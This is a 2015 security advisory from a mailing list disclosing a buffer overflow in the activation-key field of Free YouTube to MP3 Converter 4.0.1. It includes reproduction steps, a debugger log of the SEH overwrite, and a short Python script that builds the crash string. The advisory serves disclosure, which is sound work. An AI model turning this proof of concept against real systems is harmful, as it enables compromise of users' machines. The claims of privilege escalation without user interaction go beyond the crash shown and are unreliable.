Message-ID: <5617AC07.8000709@vulnerability-lab.com>
Date: Fri, 9 Oct 2015 13:59:03 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: bugtraq@...urityfocus.com, bugs@...uritytracker.com
Subject: FreeYouTubeToMP3 Converter 4.0.1 - Buffer Overflow Vulnerability

Document Title:
===============
FreeYouTubeToMP3 Converter 4.0.1 - Buffer Overflow Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1613


Release Date:
=============
2015-10-06


Vulnerability Laboratory ID (VL-ID):
====================================
1613


Common Vulnerability Scoring System:
====================================
7.2


Product & Service Introduction:
===============================
Free YouTube to MP3 Converter is the world`s best software that lets you convert YouTube videos to MP3 and lossless. 300 Million people have enjoyed our 
software so far! It is the best choice to convert playlists and user channels to MP3. Download the music you love. Download your favorite artists music 
for a playback. &#1057;onvert to MP3 keeping the best possible quality (up to 320 kbps). Music in bulk. Find playlists and YouTube channels to match your mood. 
Download and convert in a moment. Pure sound. Convert to lossless. Formats available: WAV, FLAC, ALAC. Perfect match. Convert YouTube to any device possible. 
Output formats: MP3, M4A, AAC, WMA, OGG. DVDVideoSoft`s products are freeware. In order to maintain product development and provide you with high-quality 
software, DVDVideoSoft may bundle links to other websites and third-party apps installations including toolbars in its products. Every time DVDVideoSoft 
products are installed, you have an obvious option to accept or opt-out of such installations.

(Copy of the Vendor Homepage: https://www.dvdvideosoft.com )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a local buffer overflow vulnerability in the official Free Youtube To MP3 Converter v4.0.1 software.


Vulnerability Disclosure Timeline:
==================================
2015-10-06: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
DVDVideoSoft Ltd.
Product: Free YouTube to MP3 Converter - Software (Windows) 4.0.1.1001


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A classic buffer overflow vulnerability has been discovered in the official Free Youtube To MP3 Converter v4.0.1 software.
The local vulnerability allows to overwrite the registers of the software process to compromise the target computer system.

The vulnerability is located in the `Go Menu > Tools > Options > Key Activation` module. Local attackers are able to include 
malicious unicode payload as `key` value (input) to crash the software via buffer overflow. Local attackers are able to takeover 
the system process by an escalate of privileges in the local target computer system. The windows version of the software is affected 
by the vulnerability. The vulnerable input is located in the activation key module. 

The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.2.
Exploitation of the vulnerability requires a low privilege system user account and no user interaction. Successful exploitation of the local
vulnerability results in system compromise by elevation of privileges via overwrite of the registers.

Vulnerable Module(s):
			[+] Go Menu > Tools > Options > Key Activation

Vulnerable Input(s):
			[+] Activation Key

Affected Module(s):
			[+] Activate


Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by local attackers with restricted account or system access and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Execute Free-YouTube-To-MP3-Converter.exe
2. Copy  the AAAA...string from bof.txt to clipboard
3. Go Menu -> Tools -> Options
4. Paste it the input Activation Key AAAA....string click Activate
5. Software will Crash
6. Successful reproduce of the local buffer overflow vulnerability!


--- Debug Session Logs [WINDGB] ---
 Access violation - code c0000005 (!!! second chance !!!)
 eax=00316a30 ebx=41414141 ecx=41414141 edx=00000000 esi=00316a30 edi=00000000
 eip=779071b4 esp=003169cc ebp=00316a1c iopl=0         nv up ei pl nz na po nc
 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
 ntdll!KiFastSystemCallRet:
 779071b4 c3              ret
 0:000> !exchain
 00319484: 41414141
 Invalid exception stack at 41414141
 0:000> d 00319484
 00319484  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
 00319494  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
 003194a4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
 003194b4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
 003194c4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
 003194d4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
 003194e4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
 003194f4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
 0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
001e6a5c 776db2e6 001e6a70 001e6ac0 00000000 ntdll!KiFastSystemCallRet
001e6d90 776b0844 41414141 fffffffe fffffffe ntdll!RtlRemoteCall+0x236
001e6de0 7763f9be 41414141 0000004d 001e94b4 ntdll!EtwSetMark+0x14bea
001e6e60 77667117 001e6e78 001e6e94 001e6e78 ntdll!RtlGetGroupSecurityDescriptor+0x2b2
001e9334 41414141 41414141 41414141 41414141 ntdll!KiUserExceptionDispatcher+0xf
001e9338 41414141 41414141 41414141 41414141 0x41414141


PoC: Exploit
 buffer = "\x41"*8538
 seh = "\x42"*12
  
 file = open("bof.txt","w")
 file.write(buffer+seh)
 file.close()
 
 print "POC Created by ZwX"
 print " Email: msk4@...e.fr"


Solution - Fix & Patch:
=======================
The solution could be to restrict and filter the number of characters on input of the activation key.


Security Risk:
==============
The security risk of the local buffer overflow vulnerability in the software core is estimated as high. (CVSS 7.2)


Credits & Authors:
==================
ZwX - (http://zwx.fr/) [ http://www.vulnerability-lab.com/show.php?user=ZwX ]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       		- www.evolution-sec.com
Contact:    admin@...nerability-lab.com 	- research@...nerability-lab.com 	       		- admin@...lution-sec.com
Section:    magazine.vulnerability-db.com	- vulnerability-lab.com/contact.php		       	- evolution-sec.com/contact
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       		- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   		- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php  	- vulnerability-lab.com/list-of-bug-bounty-programs.php	- vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
(admin@...nerability-lab.com or research@...nerability-lab.com) to get a permission.

				Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™

-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@...nerability-lab.com
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt

Powered by blists - more mailing lists